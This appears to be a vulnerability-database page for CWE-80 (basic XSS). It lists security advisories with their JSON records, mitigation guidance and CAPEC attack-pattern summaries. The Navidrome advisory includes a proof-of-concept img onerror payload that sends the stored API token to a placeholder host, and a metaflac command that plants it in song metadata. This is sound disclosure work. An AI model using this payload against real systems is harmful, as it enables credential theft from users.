CWE-80
AllowedImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
1143 vulnerabilities reference this CWE, most recent first.
GHSA-RH3R-8PXM-HG4W
Vulnerability from github – Published: 2026-02-04 00:12 – Updated: 2026-02-05 00:37Summary
An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.
An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.
Details
The frontend is using React. In various places, the code uses the dangerouslySetInnerHTML escape hatch to set the content of an HTML element.
In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.
In MultiLineTextField component, the input is split into lines and rendered through the dangerouslySetInnerHTML property.
<div
data-testid={`${source}.${idx}`}
key={md5(line + idx)}
dangerouslySetInnerHTML={{ __html: line }}
/>
This component is then used in the SongInfo and AlbumInfo components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS COMMENT comment of a FLAC file.
By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.
Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.
PoC
- Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:
<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />
or use metaflac:
echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac
- Add the song to Navidrome
- Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info"
In this payload, a broken image can be seen in the info dialog.
In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.
Impact
The vulnerability affects users of the Navidrome UI with songs from untrusted sources.
Mitigations
- Users of Navidrome should configure a strict [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult
- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/navidrome/navidrome"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.60.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25578"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T00:12:20Z",
"nvd_published_at": "2026-02-04T22:16:01Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.\n\nAn attacker\u0027s maliciously crafted song has to be added to Navidrome to exploit the vulnerability.\n\n### Details\n\nThe frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element.\n\nIn some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.\n\nIn `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. \n\n```js\n\u003cdiv\n data-testid={`${source}.${idx}`}\n key={md5(line + idx)}\n dangerouslySetInnerHTML={{ __html: line }}\n/\u003e\n```\n\nThis component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file.\n\nBy crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.\n\nAdditionally, as the Navidrome API token is kept in local storage and since there\u0027s no CSP in place unless the user\u0027s configured one outside of Navidrome, the attacker can exfiltrate the API token.\n\n### PoC\n\n1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain\u0027z Picard:\n\n```js\n\u003cimg src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem(\u0027token\u0027)}`)\" /\u003e\n```\n\nor use `metaflac`:\n\n```shell\necho \u0027\u003cimg src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem(\u0027token\u0027)}`)\" /\u003e\u0027 | metaflac --set-tag=comment=\u003c(cat) file.flac\n```\n\n2. Add the song to Navidrome\n3. Enter the \"Songs\" or one of the albums page, click the \"kebab menu\" and then \"Get Info\"\n\nIn this payload, a broken image can be seen in the info dialog.\n\n\u003cimg width=\"996\" height=\"660\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04\" /\u003e\n\nIn the developer tools\u0027 network inspector, the request exfiltrating the token to an example domain can be seen.\n\n\u003cimg width=\"410\" height=\"34\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143\" /\u003e\n\n\n### Impact\n\nThe vulnerability affects users of the Navidrome UI with songs from untrusted sources.\n\n### Mitigations\n\n- Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult\n- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata",
"id": "GHSA-rh3r-8pxm-hg4w",
"modified": "2026-02-05T00:37:01Z",
"published": "2026-02-04T00:12:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-rh3r-8pxm-hg4w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25578"
},
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/commit/d7ec7355c9036d5be659d6ac555c334bb5848ba6"
},
{
"type": "PACKAGE",
"url": "https://github.com/navidrome/navidrome"
},
{
"type": "WEB",
"url": "https://github.com/navidrome/navidrome/releases/tag/v0.60.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Navidrome has XSS via comment from song metadata"
}
GHSA-RH9M-3JJG-79RV
Vulnerability from github – Published: 2025-12-26 15:30 – Updated: 2025-12-26 15:30IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.
{
"affected": [],
"aliases": [
"CVE-2025-36230"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-26T15:15:46Z",
"severity": "MODERATE"
},
"details": "IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim\u0027s Web browser within the security context of the hosting site.",
"id": "GHSA-rh9m-3jjg-79rv",
"modified": "2025-12-26T15:30:17Z",
"published": "2025-12-26T15:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36230"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7255331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHFV-9JWG-F856
Vulnerability from github – Published: 2026-11-11 18:31 – Updated: 2026-11-11 18:31In Progress® Kendo® UI for jQuery prior to 2026.4.1111 the TabStrip, PanelBar, and Menu widgets support mapping a dataSource field to spriteCssClass. If an attacker can control the mapped data, they can break out of the attribute and inject markup, including event-handler attributes. The resulting JavaScript executes in the application's origin when a victim loads a page that renders the affected widget, allowing access to data and actions available in the victim's authenticated session.
{
"affected": [],
"aliases": [
"CVE-2026-124688"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-11T17:17:17Z",
"severity": "HIGH"
},
"details": "In Progress\u00ae Kendo\u00ae UI for jQuery prior to\u00a02026.4.1111 the TabStrip, PanelBar, and Menu widgets support mapping a dataSource field to `spriteCssClass`. If an attacker can control the mapped data, they can break out of the attribute and inject markup, including event-handler attributes. The resulting JavaScript executes in the application\u0027s origin when a victim loads a page that renders the affected widget, allowing access to data and actions available in the victim\u0027s authenticated session.",
"id": "GHSA-rhfv-9jwg-f856",
"modified": "2026-11-11T18:31:37Z",
"published": "2026-11-11T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124688"
},
{
"type": "WEB",
"url": "https://www.telerik.com/kendo-jquery-ui/documentation/knowledge-base/kb-security-tabstrip-panelbar-menu-spritecssclass-xss-cve-2026-124688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RJH9-46C2-6H7F
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-02-01 18:31There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 11.0 and below that may allow a remote, authenticated attacker to create a crafted link which when clicked could render arbitrary HTML in the victim’s browser (no stateful change made or customer data rendered).
{
"affected": [],
"aliases": [
"CVE-2023-25833"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T02:15:08Z",
"severity": "MODERATE"
},
"details": "There is an HTML injection vulnerability in Esri Portal for ArcGIS versions 11.0 and below that may allow a remote, authenticated attacker to create a crafted link which when clicked could render arbitrary HTML in the victim\u2019s browser (no stateful change made or customer data rendered).",
"id": "GHSA-rjh9-46c2-6h7f",
"modified": "2024-02-01T18:31:06Z",
"published": "2023-07-06T21:14:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25833"
},
{
"type": "WEB",
"url": "https://support.esri.com/en-us/patches-updates/2023/portal-for-arcgis-security-2023-update-1-patch-8095"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2023-update-1-patch-is-now-available"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM6J-M6W6-Q2Q3
Vulnerability from github – Published: 2022-11-03 12:00 – Updated: 2023-01-26 21:30A vulnerability, which was classified as problematic, was found in Webmin. Affected is an unknown function of the file xterm/index.cgi. The manipulation leads to basic cross site scripting. It is possible to launch the attack remotely. The name of the patch is d3d33af3c0c3fd3a889c84e287a038b7a457d811. It is recommended to apply a patch to fix this issue. VDB-212862 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-3844"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-79",
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-02T20:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in Webmin. Affected is an unknown function of the file xterm/index.cgi. The manipulation leads to basic cross site scripting. It is possible to launch the attack remotely. The name of the patch is d3d33af3c0c3fd3a889c84e287a038b7a457d811. It is recommended to apply a patch to fix this issue. VDB-212862 is the identifier assigned to this vulnerability.",
"id": "GHSA-rm6j-m6w6-q2q3",
"modified": "2023-01-26T21:30:23Z",
"published": "2022-11-03T12:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3844"
},
{
"type": "WEB",
"url": "https://github.com/webmin/webmin/commit/d3d33af3c0c3fd3a889c84e287a038b7a457d811"
},
{
"type": "WEB",
"url": "https://github.com/webmin/webmin/releases/tag/2.003"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.212862"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.212862"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RMC2-XRPM-X4VH
Vulnerability from github – Published: 2026-11-11 15:31 – Updated: 2026-11-11 15:31Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Igor Funa Ad Inserter ad-inserter allows Code Injection.This issue affects Ad Inserter: from n/a through 2.8.19.
{
"affected": [],
"aliases": [
"CVE-2026-124262"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-11T13:17:18Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Igor Funa Ad Inserter ad-inserter allows Code Injection.This issue affects Ad Inserter: from n/a through 2.8.19.",
"id": "GHSA-rmc2-xrpm-x4vh",
"modified": "2026-11-11T15:31:00Z",
"published": "2026-11-11T15:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124262"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/ad-inserter/vulnerability/wordpress-ad-inserter-plugin-2-8-19-content-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RMC9-2WM2-X4RV
Vulnerability from github – Published: 2026-11-07 00:31 – Updated: 2026-11-07 00:31Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in myCred myCred mycred allows Code Injection.This issue affects myCred: from n/a through 4.0.2.
{
"affected": [],
"aliases": [
"CVE-2026-123471"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-06T23:17:21Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in myCred myCred mycred allows Code Injection.This issue affects myCred: from n/a through 4.0.2.",
"id": "GHSA-rmc9-2wm2-x4rv",
"modified": "2026-11-07T00:31:25Z",
"published": "2026-11-07T00:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-123471"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/mycred/vulnerability/wordpress-mycred-plugin-4-0-2-content-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RP64-RC76-XRQ5
Vulnerability from github – Published: 2025-02-28 15:31 – Updated: 2025-02-28 15:31It is possible to inject HTML code into the page content using the "content" field in the "Application definition" page.
This issue affects CyberArk Endpoint Privilege Manager in SaaS version 24.7.1. The status of other versions is unknown. After multiple attempts to contact the vendor we did not receive any answer.
{
"affected": [],
"aliases": [
"CVE-2025-22274"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-28T13:15:28Z",
"severity": "LOW"
},
"details": "It is possible to inject HTML code into the page content using the \"content\" field in the \"Application definition\" page.\n\n\nThis issue affects\u00a0CyberArk Endpoint Privilege Manager in SaaS version 24.7.1. The status of other versions is unknown.\u00a0After multiple attempts to contact the vendor we did not receive any answer.",
"id": "GHSA-rp64-rc76-xrq5",
"modified": "2025-02-28T15:31:03Z",
"published": "2025-02-28T15:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22274"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2025/02/CVE-2025-22270"
},
{
"type": "WEB",
"url": "https://cert.pl/posts/2025/02/CVE-2025-22270"
},
{
"type": "WEB",
"url": "https://docs.cyberark.com/epm/24.7.1/en/content/resources/_topnav/cc_home.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RRG4-8849-QVHV
Vulnerability from github – Published: 2025-08-14 12:30 – Updated: 2026-04-01 18:35Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in RadiusTheme Classified Listing allows Code Injection. This issue affects Classified Listing: from n/a through 5.0.0.
{
"affected": [],
"aliases": [
"CVE-2025-54698"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T11:15:51Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in RadiusTheme Classified Listing allows Code Injection. This issue affects Classified Listing: from n/a through 5.0.0.",
"id": "GHSA-rrg4-8849-qvhv",
"modified": "2026-04-01T18:35:51Z",
"published": "2025-08-14T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54698"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/classified-listing/vulnerability/wordpress-classified-listing-plugin-plugin-5-0-0-content-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RRVC-C7XG-7CF3
Vulnerability from github – Published: 2024-06-06 21:36 – Updated: 2024-06-06 21:36Impact
TokenController get parameter formName not sanitized in returned input field leads to XSS.
What kind of vulnerability is it? Who is impacted?
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Create a custom Symfony Request listener which checks for the get value of form for the TokenController and if not valid stop the request dispatching and return a error status code.
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "sulu/form-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37156"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T21:36:40Z",
"nvd_published_at": "2024-06-06T16:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nTokenController get parameter formName not sanitized in returned input field leads to XSS.\n\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCreate a custom Symfony Request listener which checks for the get value of `form` for the TokenController and if not valid stop the request dispatching and return a error status code.\n\n### References\n\n_Are there any links users can visit to find out more?_\n",
"id": "GHSA-rrvc-c7xg-7cf3",
"modified": "2024-06-06T21:36:40Z",
"published": "2024-06-06T21:36:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sulu/SuluFormBundle/security/advisories/GHSA-rrvc-c7xg-7cf3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37156"
},
{
"type": "WEB",
"url": "https://github.com/sulu/SuluFormBundle/commit/3f341b71a7309cbc8fd2c5bff894c654d1679b17"
},
{
"type": "PACKAGE",
"url": "https://github.com/sulu/SuluFormBundle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "TokenController formName not sanitized in hidden input"
}
Mitigation
Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
CAPEC-18: XSS Targeting Non-Script Elements
This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an adversary to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote adversary to collect and interpret the output of said attack.
CAPEC-193: PHP Remote File Inclusion
In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.
CAPEC-32: XSS Through HTTP Query Strings
An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser.
CAPEC-86: XSS Through HTTP Headers
An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.